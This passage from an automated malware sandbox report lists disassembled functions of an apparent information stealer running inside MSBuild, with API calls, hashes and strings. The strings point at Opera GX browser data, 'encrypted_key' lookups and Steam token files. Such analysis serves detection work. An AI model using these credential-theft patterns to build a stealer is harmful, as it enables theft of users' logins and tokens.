Instruction ID: fa6cd13a443083575c3a824eeb1e5676c961334a8f4b47820412c2fdc9a040c1
Opcode Fuzzy Hash: 9d6bef6e96ced807ab468dc8993a52d9f0373e1b25ae8473017438b8018234a9
Instruction Fuzzy Hash: 6F014F75A00118ABCB20FB76D9469CD73A96F04308F55417BBC24E3293E7B8E9494AD9

Function 00416FE1 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 00417048
CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: a933333fad9bd340b18b30eb88140121c52c0b5174dca6836fed6f365d3d225f
Instruction ID: cadfd2f738adb4358b882eccad73f6c5fa04fa67bdf206d0ab743f0929ee9876
Opcode Fuzzy Hash: a933333fad9bd340b18b30eb88140121c52c0b5174dca6836fed6f365d3d225f
Instruction Fuzzy Hash: 49217872900218ABCF10EF96EC419DE7BB9FF44358F10502BF905A3151C778AA86CFA8

Function 00412446 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,00414A8D,00414A8D,00000000,?,?,?,00414A8D), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A8D), ref: 0041249E

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 6CA63060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA63095

Part of subcall function 6CA635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEF688,00001000), ref: 6CA635D5
Part of subcall function 6CA635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA635E0
Part of subcall function 6CA635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA635FD
Part of subcall function 6CA635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA6363F
Part of subcall function 6CA635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA6369F
Part of subcall function 6CA635A0: __aulldiv.LIBCMT ref: 6CA636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA6309F

Part of subcall function 6CA85B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA856EE,?,00000001), ref: 6CA85B85
Part of subcall function 6CA85B50: EnterCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85B90
Part of subcall function 6CA85B50: LeaveCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85BD8
Part of subcall function 6CA85B50: GetTickCount64.KERNEL32 ref: 6CA85BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA630BE

Part of subcall function 6CA630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA63127
Part of subcall function 6CA630F0: __aulldiv.LIBCMT ref: 6CA63140

Part of subcall function 6CA9AB2A: __onexit.LIBCMT ref: 6CA9AB30

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: b79cb101c36b8a197d1dee50a0add366d2fcd26a98b94a140f52ff4ca2ee75a2
Instruction ID: 60da254845b9ac99213f61e0fa9a42f7442cc646b7da1ff88a05b4a8badca038
Opcode Fuzzy Hash: b79cb101c36b8a197d1dee50a0add366d2fcd26a98b94a140f52ff4ca2ee75a2
Instruction Fuzzy Hash: 34F0D612E2178597CB54DF34AD411EA7370EFAF214F11971EE88557511FB2062DD93C2

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
HeapAlloc.KERNEL32(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction ID: 4a48e0897f6a5e53a67cc5d7e0c14adbc6ce47083a4b6c26751418be0e4428b5
Opcode Fuzzy Hash: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction Fuzzy Hash: 2DE08CB1200204BBD7449BD9AC8DF8A76BCDB84715F100226F605D6250EAB4C9848B68

Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,00436853,0043684B,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 427f249c4c4678dafc1693628a145abf491ee22919a70e5ab789c2905fdf4d33
Instruction ID: 2f838092edd703084741f82f1e37e62fc4a331bb811b3281c0e98dae42c078f1
Opcode Fuzzy Hash: 427f249c4c4678dafc1693628a145abf491ee22919a70e5ab789c2905fdf4d33
Instruction Fuzzy Hash: 3FB1FD7294011DABCF10FFA6DE425CD7775AF04308F51013AF904771A1DBB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 00416330 Relevance: 3.1, APIs: 2, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416378
lstrcatA.KERNEL32(?), ref: 00416396

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 40245c710f12fa3abaeeea5a620aa160cdce50a450f9b8a8cb644ca27f9ecf0b
Instruction ID: 8b86d470323cba8e8d9fb07341382b27601452c1d6ee34835b9636a410b96c6e
Opcode Fuzzy Hash: 40245c710f12fa3abaeeea5a620aa160cdce50a450f9b8a8cb644ca27f9ecf0b
Instruction Fuzzy Hash: 5B31E67280010DAFDF15EB60DC43EE8377AEB08314F1440AEF606932A1EA769B919F55

Function 00417101 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 00417148

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

Soft\Steam\steam_tokens.txt, xrefs: 00417158

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: 8fa53f5e99fa73b579df2c1d708c4887328353601fdb9c6c5d0bd8b5a299647e
Instruction ID: 80484de5d81fac5735ad8fccb55b53a41610cad84b3e0f2f88df820a69dfcc50
Opcode Fuzzy Hash: 8fa53f5e99fa73b579df2c1d708c4887328353601fdb9c6c5d0bd8b5a299647e
Instruction Fuzzy Hash: 9A012531E4010967CF00FBE6DD478CD7B74AF04358F514176FA0077152DB79AA8A86D5

Function 00411E1F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Strings

1iA, xrefs: 00411E47

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: 1iA
API String ID: 3494564517-1863120733
Opcode ID: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction ID: dc66f3ebc75c526b8f29ca666c763a1a9938aadc44e5483d7dab6bcf02b3e8fe
Opcode Fuzzy Hash: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction Fuzzy Hash: 08E02B3AA41B201FC7724BAA8804AB7BB5A9FC2F61B18412BDF49CB324D535CC4182E4

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CD02 Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CD13

Part of subcall function 0041BCB6: lstrlenA.KERNEL32(?,0041CD24,0041CDC6,00000000,06400000,00000003,00000000,004176C9,.exe,00436C5C,00436C58,00436C54,00436C50,00436C4C,00436C48,00436C44), ref: 0041BCE8
Part of subcall function 0041BCB6: malloc.MSVCRT ref: 0041BCF0
Part of subcall function 0041BCB6: lstrcpyA.KERNEL32(00000000,?), ref: 0041BCFB

malloc.MSVCRT ref: 0041CD50

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: 465e3de8e98db6d08ae849f7adb27b96f5506e18be780ac3d5a762568d42760d
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: 45F024726442156BD720AF6AFC8298BBF94EB44BA0F050137FE089B341DA34CC4083F9

Function 004185F8 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2be7adef273076413db1f82989fa32e877b982bb640996dfe2006c67a3d1df4
Instruction ID: 5fcf984cd7fe605291b0de8237dc76cab2bfba5574b06f9febeddb3a0b35f763
Opcode Fuzzy Hash: a2be7adef273076413db1f82989fa32e877b982bb640996dfe2006c67a3d1df4
Instruction Fuzzy Hash: 23515E71901600ABCA617BAE854EEF6B2D5AFB0318F14049FF414AA3728F6D8DD05E9D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

